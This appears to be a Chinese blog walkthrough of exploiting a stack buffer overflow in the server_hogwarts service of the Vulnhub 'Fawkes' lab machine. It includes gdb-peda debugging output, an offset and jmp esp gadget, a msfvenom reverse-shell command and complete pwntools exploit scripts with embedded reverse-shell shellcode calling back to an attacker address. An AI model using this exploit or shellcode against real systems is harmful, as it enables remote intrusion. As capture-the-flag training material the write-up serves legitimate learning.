缓冲区溢出实战

0x01Fawkes 靶机

1. 获取二进制文件

这台靶机的二进制文件获取比较简单,通过 ftp 服务使用 anonymous/anonymous 凭证登入可以得到一个 server_hogwarts 文件,再通过 file 命令可以知道这是 32-elf 文件。

2. 分析

gdb 导入 gdb-peda 分析

#启用gdb
gdb server_hogwarts
#导入gdb-peda
source /usr/share/gdb-peda/peda.py

A. 查看安全机制

使用命令 checksec 查看安全机制

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

可以看到 CANARY 是开启的,说明这个程序有缓冲区溢出检测,不过我们还是需要实际测试一下,我们还需要看看这个程序具体是做什么的。

B. 具体调试程序

运行一下这个程序。

┌──(kali㉿kali)-[~]
└─$./server_hogwarts

运行完挂起了,不知道是做什么的。
尝试反编译一下

disassemble main

程序很长,不过注意到这里调用了 setsockopt 等类似函数,可能是监听程序?联系到之前 nmap 扫描扫到目标服务器开放了 9898 端口,有理由怀疑这个程序是 9898 端口程序的源代码。试着查看端口监听情况。

gdb-peda$ netstat -tunlp 
  • -t:显示 TCP 连接
  • -u:显示 UDP 连接
  • -n:以数字形式显示地址和端口号(不进行 DNS 解析,也不将端口号转换为服务名)
  • -l:仅显示监听状态的套接字(Listening)
  • -p:显示使用该套接字的进程 PID 和程序名(需 root 权限才能看到所有进程)
lsof -i :9898
  • -i:选择列出与网络相关的文件
  • :9898:指定端口号,只显示使用该端口的网络连接
 ┌──(kali㉿kali)-[~]
└─$ netstat -tunlp                                
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9898            0.0.0.0:*               LISTEN      6767/./server_hogwa 

tcp        0      0 127.0.0.1:44211         0.0.0.0:*               LISTEN      -  

能够看到确实是 server_hogwa 再监听 9898 端口
使用 nc 命令尝试连接

┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 9898 
Welcome to Hogwart's magic portal
Tell your spell and ELDER WAND will perform the magic

Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra 

Enter your spell: 

提示输入参数。
先在 gdb-peda 中生成一个测试字符串

gdb-peda$ pattern create 200

然后我们在 gdb 中启动程序

gdb-peda$ r

再用 nc 命令连接,并且输入先前准备好的测试字符串。
gdb-peda 中报错并退出

gdb-peda$ r
Starting program: /home/kali/Vulnhub/Fawkes/server_hogwarts 

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffc88c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x41413741 ('A7AA')
ECX: 0xffffcb10 --> 0xa ('\n')
EDX: 0xffffc954 --> 0xa ('\n')
ESI: 0x80b3158 ("../csu/libc-start.c")
EDI: 0xffffce48 ("\nEnter your spell: ")
EBP: 0x6941414d ('MAAi')
ESP: 0xffffc900 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffc900 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0004| 0xffffc904 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0xffffc908 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0012| 0xffffc90c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffc910 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffc914 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffc918 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffc91c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

可以看到触发了段错误,并且成功覆盖了 esp
然后输入

pattern offset $eip

可以直接计算偏移量
这里我们的偏移量是 112
然后我们需要 jmp esp 这种跳转到 esp 的命令的地址

ROPgadget --binary ./your_vulnerable_program | grep "jmp esp"

ROPgadget --binary ./your_vulnerable_program --opcode ffe4

可以用这两条命令搜索,得到 0x08049d55 用于覆盖返回地址,来绕过缓冲区长度对 shellcode 的限制。

C. 利用脚本编写

修改模板程序,见缓冲区溢出

### 模板程序

from pwn import *           # 导入 pwntools 所有功能

# 设置目标架构(影响 shellcode 生成等)
context.arch = 'i386'

# 启动目标进程(如果是远程就用 remote)
remote('127.0.0.1', 9898)

# --- 构造 payload ---
offset = 112                  # 返回地址的偏移量
jmp_esp = 0x08049d55         # jmp esp 的地址

# 生成 shellcode(例如执行 反弹shell)
shellcode = shellcraft.connect('127.0.0.1', 443)

# 组装 payload
payload = b""
payload += b"A" * offset                # 填充到返回地址
payload += p32(jmp_esp)                  # 覆盖返回地址为 jmp_esp
payload += b"\x90" * 32                  # NOP 滑板(32个字节)
payload += shellcode                     # shellcode

# --- 发送 payload ---
# 假设程序先输出 "Input:",我们需要先接收再发送
p.recvuntil(b"spell:")                   # 等待提示符,spell:
p.sendline(payload)                       # 发送 payload

# --- 获得 shell ---
p.interactive()                           # 切换交互,获得控制权

再 在gdb-peda 中启动程序,监听 443 端口,然后运行 exploit 程序
程序报错退出,但是没有收到反弹 shell
猜测可能是坏字符导致的利用失败

D. 坏字符绕过

在远程环境中,因为各种网络协议,编码原因可能会导致有些字符无法使用,导致缺失。
详情见缓冲区溢出
使用 msfvenom 命令

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -f python -b "\x00\x0a\x0d"

去避免 \x00\x0a\x0d 等坏字符,这里是先避免了常见的一些坏字符,如果多次尝试失败,可能需要进行检测坏字符有哪些,详情见缓冲区溢出
接着修改 exploit

### 模板程序

from pwn import *           # 导入 pwntools 所有功能

# 设置目标架构(影响 shellcode 生成等)
context.arch = 'i386'

# 启动目标进程(如果是远程就用 remote)
p=remote('127.0.0.1', 9898)

# --- 构造 payload ---
offset = 112                  # 返回地址的偏移量
jmp_esp = 0x08049d55         # jmp esp 的地址

buf =  b""                                                        
buf += b"\xd9\xe5\xd9\x74\x24\xf4\xb8\xcc\xf8\x93\x17\x5a"
buf += b"\x2b\xc9\xb1\x12\x83\xc2\x04\x31\x42\x13\x03\x8e"
buf += b"\xeb\x71\xe2\x3f\xd7\x81\xee\x6c\xa4\x3e\x9b\x90"
buf += b"\xa3\x20\xeb\xf2\x7e\x22\x9f\xa3\x30\x1c\x6d\xd3"
buf += b"\x78\x1a\x94\xbb\x70\xd6\x6c\xbb\xed\xe4\x70\xba"
buf += b"\x56\x61\x91\x0c\xce\x22\x03\x3f\xbc\xc0\x2a\x5e"
buf += b"\x0f\x46\x7e\xc8\xfe\x68\x0c\x60\x97\x59\xdd\x12"
buf += b"\x0e\x2f\xc2\x80\x83\xa6\xe4\x94\x2f\x74\x66"

# 生成 shellcode(例如执行 反弹shell)
shellcode = buf
#shellcraft.connect('127.0.0.1', 443)


# 组装 payload
payload = b""
payload += b"A" * offset                # 填充到返回地址
payload += p32(jmp_esp)                  # 覆盖返回地址为 jmp_esp
payload += b"\x90" * 32                  # NOP 滑板(32个字节)
payload += shellcode                     # shellcode

# --- 发送 payload ---
# 假设程序先输出 "Input:",我们需要先接收再发送
p.recvuntil(b"spell:")                   # 等待提示符,spell:
p.sendline(payload)                       # 发送 payload

# --- 获得 shell ---
p.interactive()                           # 切换交互,获得控制权

成功获取 shell
将本地 ip 改为靶机 ip 也同样成功

文末附加内容

评论

  1. Windows Chrome
    3 天前
    2026-3-24 10:25:44

    Very good i like it

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇